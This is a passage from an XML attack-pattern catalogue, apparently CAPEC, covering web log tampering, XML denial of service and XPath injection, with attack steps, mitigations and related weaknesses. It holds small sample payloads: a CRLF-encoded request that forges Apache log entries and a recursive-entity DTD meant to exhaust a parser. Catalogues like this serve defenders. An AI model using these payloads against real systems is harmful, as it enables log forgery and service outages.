						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name,
							Description and Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="81" Name="Web Logs Tampering" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Web Logs Tampering attacks involve an attacker injecting, deleting or
						otherwise tampering with the contents of web logs typically for the purposes
						of masking other malicious behavior. Additionally, writing malicious data to
						log files may target jobs, filters, reports, and other agents that process
						the logs in an asynchronous attack pattern. This pattern of attack is
						similar to "Log Injection-Tampering-Forging" except that in this case, the
						attack is targeting the logs of the web server and not the
						application.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine Application Web Server Log File
											Format</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker observes the system and looks for
												indicators of which logging utility is being used by
												the web server.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Determine logging utility being used by
												application web server (e.g. log4j), only possible
												if the application is known by the attacker or if
												the application returns error messages with
												logging utility information.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker determines log file
												format used by application web
												server.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Inconclusive">
												<Outcome_Description>Attacker cannot conclusively
												determine log file format; he/she can only guess
												what the format is.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="-1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine Injectable
											Content</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker launches various logged actions with
												malicious data to determine what sort of log
												injection is possible.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Attacker triggers logged actions with
												maliciously crafted data as inputs, parameters,
												arguments, etc.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker observes content
												successfully injected into web
												logs.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Inconclusive">
												<Outcome_Description>Attacker lacks capability to
												observe if content was successfully injected into
												web logs.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="-1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Manipulate Log Files</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker alters the log contents either
												directly through manipulation or forging or
												indirectly through injection of specially crafted
												request that the web server will receive and write
												into the logs. This type of attack typically follows
												another attack and is used to try to cover the
												traces of the previous attack.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Indirectly through injection, use carriage
												return and/or line feed characters to start a new
												line in the log file, and then, add a fake
												entry.</Text>
												<Text>For example: The HTTP request for
												"/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] "GET
												/forged-path HTTP/1.1" 200 - "-" USER_AGENT" may
												add the log line into Apache "access_log" (for
												example). Different applications may require
												different encodings of the carriage return and
												line feed characters.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Directly through log file or database
												manipulation, use carriage return and/or line feed
												characters to start a new line in the log file,
												and then, add a fake entry.</Text>
												<Text>For example: The HTTP request for
												"/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] "GET
												/forged-path HTTP/1.1" 200 - "-" USER_AGENT" may
												add the log line into Apache "access_log" (for
												example). Different applications may require
												different encodings of the carriage return and
												line feed characters.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Directly through log file or database
												manipulation, modify existing log entries.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Forged entry or other malicious
												data inserted into application's
												logs.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No entry inserted into logs, or
												the entry is visibly distinguishable from real
												entries.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Input validation to
												ensure that only legal characters supplied by
												users can be entered into log
												files</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Encode information
												from user such that any unexpected characters are
												encoded safely before they are entered into log
												files.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Post-processing of log
												files to remove or encode dangerous characters
												before displaying to a user may help in some
												cases. It will not help remove fake log entries
												entered using carriage return and line feed
												characters,
												however.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Target server software must be a HTTP server that performs web
						logging.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>Time and State</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Most web servers have a public interface, even if the majority of the
							site is password protected, there is usually at least a login site and
							brochureware that is publicly available. HTTP requests to the site are
							also generally logged to a Web log. From an attacker point of view,
							standard HTTP requests containing a malicious payload can be sent to the
							public website (with no other access required), when those requests
							appear in the log (such as http://victimsite/index.html?&lt; malicious
							script&gt; if they are followed by an administrator this may be
							sufficient to probe the administrator's host or local network.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To input faked entries into Web logs</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to send specially formatted HTTP request to web server</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use input validation before writing to web log</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Validate all log data before it is output</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Forged log entry delivered through HTTP Request.</Text>
			</Injection_Vector>
			<Payload>
				<Text>HTTP request</Text>
			</Payload>
			<Activation_Zone>
				<Text>Web log, log reporting systems</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Log data contains data designed to trick administrators and auditors as to
						chain of events. Limit ability to conduct forensics and other
						investigations/responses.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>117<!--Improper Output Neutralization for Logs--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>93<!--Improper Neutralization of CRLF Sequences ('CRLF Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>92<!--DEPRECATED: Improper Sanitization of Custom Special Characters--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>221<!--Information Loss or Omission--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>96<!--Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>150<!--Improper Neutralization of Escape, Meta, or Control Sequences--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>276<!--Incorrect Default Permissions--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>279<!--Incorrect Execution-Assigned Permissions--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>116<!--Improper Encoding or Escaping of Output--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>268<!--Audit Log Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Obfuscation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="82"
			Name="Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>XML Denial of Service (XDoS) can be applied to any technology that
						utilizes XML data. This is, of course, most distributed systems technology
						including Java, .Net, databases, and so on. XDoS is most closely associated
						with web services, SOAP, and Rest, because remote service requesters can
						post malicious XML payloads to the service provider designed to exhaust the
						service provider's memory, CPU, and/or disk space. The main weakness in XDoS
						is that the service provider generally must inspect, parse, and validate the
						XML messages to determine routing, workflow, security considerations, and so
						on. It is exactly these inspection, parsing, and validation routines that
						XDoS targets.</Text>
					<Text>There are three primary attack vectors that XDoS can navigate</Text>
					<Block Block_Nature="List">
						<Text>Target CPU through recursion: attacker creates a recursive payload and
							sends to service provider</Text>
						<Text>Target memory through jumbo payloads: service provider uses DOM to
							parse XML. DOM creates in memory representation of XML document, but
							when document is very large (for example, north of 1 Gb) service
							provider host may exhaust memory trying to build memory objects.</Text>
						<Text>XML Ping of death: attack service provider with numerous small files
							that clog the system.</Text>
					</Block>
					<Text>All of the above attacks exploit the loosely coupled nature of web
						services, where the service provider has little to no control over the
						service requester and any messages the service requester sends.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Attacker must be able to send a malicious XML payload to host, such as
						SOAP or REST web service.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Several commercial XML parsers were found to be vulnerable to XDoS
							through XML recursion attacks. The code fragment below is
							self-referencing and can result in the parser exhausting all CPU and/or
							memory available to it.</Text>
						<Block>
							<Code>&lt;!DOCTYPE evildoc [</Code>
							<Code>&lt;!ENTITY x0 hello XDoS"&gt;</Code>
							<Code>&lt;!ENTITY xevilparam &amp;x99;&amp;x99;"&gt; ]&gt;</Code>
							<Code>&lt;foobar&gt;&amp;xevilparam;&lt;/foobar&gt;</Code>
						</Block>
						<Text>By the time the service provider validatesthe DTD elements it is too
							late, because the validation routines references itself. SOAP messages
							are no longer allowed to accept DTDs, however there is nothing to stop
							developers of other applications or custom SOAP implementations from
							bypassing this concern.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Crafting malicious XML content and injecting it through standard
							interfaces</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Utilize a Security Pipeline Interface (SPI) to mediate
						communications between service requester and service provider The SPI should
						be designed to throttle up and down and handle a variety of payloads.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Utilize clustered and fail over techniques, leverage network
						transports to provide availability such as HTTP load balancers</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Check size of XML message before parsing</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>XML-capable system interfaces</Text>
			</Injection_Vector>
			<Payload>
				<Text>Maliciously crafted XML</Text>
			</Payload>
			<Activation_Zone>
				<Text>XML inspection, parsing and validation routines</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Denial of Service</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>674<!--Uncontrolled Recursion--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>400<!--Uncontrolled Resource Consumption ('Resource Exhaustion')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>770<!--Allocation of Resources Without Limits or Throttling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>119<!--Resource Depletion--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Low</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Gunnar Peterson</Submitter>
						<Submission_Date>2007-02-28</Submission_Date>
						<Submission_Comment/>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Name</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="83" Name="XPath Injection" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker can craft special user-controllable input consisting of XPath
						expressions to inject the XML database and bypass authentication or glean
						information that he normally would not be able to. XPath Injection enables
						an attacker to talk directly to the XML database, thus bypassing the
						application completely. XPath Injection results form the failure of an
						application to properly sanitize input used as part of dynamic XPath
						expressions used to query an XML database. In order to successfully inject
						XML and retrieve information from a database, an attacker:</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Determines the user-controllable input that is
												used without proper validation as part of XPath
												queries</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Determines the structure of queries that accept
												such input</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Crafts malicious content containing XPath
												expressions that is not validated by the application
												and is executed as part of the XPath queries.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>XPath queries used to retrieve information stored in XML documents</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>User-controllable input not properly sanitized before being used as part
						of XPath queries</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Consider an application that uses an XML database to authenticate its
							users. The application retrieves the user name and password from a
							request and forms an XPath expression to query the database. An attacker
							can successfully bypass authentication and login without valid
							credentials through XPath Injection. This can be achieved by injecting
							the query to the XML database with XPath syntax that causes the
							authentication check to fail. Improper validation of user-controllable
							input and use of a non-parameterized XPath expression enable the
							attacker to inject an XPath expression that causes authentication
							bypass.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>XPath Injection shares the same basic premises with SQL Injection. An
							attacker must have knowledge of XPath synax and constructs in order to
							successfully leverage XPath Injection</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>None</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker tries to inject characters that can cause an XPath error,
							such as single-quote ('), or content that may cause a malformed XPath
							expression. If the injection of such content into the input causes an
							XPath error and the resulting error is displayed unfiltered, the
							attacker can begin to determine the nature of input validation and
							structure of XPath expressions used in queries.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Too many exceptions generated by the appplication as a result of
							malformed XPath queries</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Strong input validation - All user-controllable input must be validated
						and filtered for illegal characters as well as content that can be
						interpreted in the context of an XPath expression. Characters such as a
						single-quote(') or operators such as or (|), and (&amp;) and such should be
						filtered if the application does not expect them in the context in which
						they appear. If such content cannot be filtered, it must at least be
						properly escaped to avoid them being interpreted as part of XPath
						expressions.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use of parameterized XPath queries - Parameterization causes the input to
						be restricted to certain domains, such as strings or integers, and any input
						outside such domains is considered invalid and the query fails.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use of custom error pages - Attackers can glean information about the
						nature of queries from descriptive error messages. Input validation must be
						coupled with customized error pages that inform about an error without
						disclosing information about the database or application.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable input used as part of dynamic XPath queries</Text>
			</Injection_Vector>
			<Payload>
				<Text>XPath expressions intended to defeat checks run by XPath queries</Text>
			</Payload>
			<Activation_Zone>
				<Text>XML database</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The impact of payload activation is that it is interpreted as part of the
						XPath expression used in the query, thus enabling an attacker to modify the
						expression used by the query.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>91<!--XML Injection (aka Blind XPath Injection)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>390<!--Detection of Error Condition Without Action--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>250<!--XML Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>372<!--WASC Threat Classification 2.0 - WASC-39 - XPath Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Special characters in user-controllable input must be escaped before use
						by the application.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Only use parameterized XPath expressions to query the XML database.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Custom error pages must be used to handle exceptions such that they do not
						reveal any information about the architecture of the application or the
						database.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
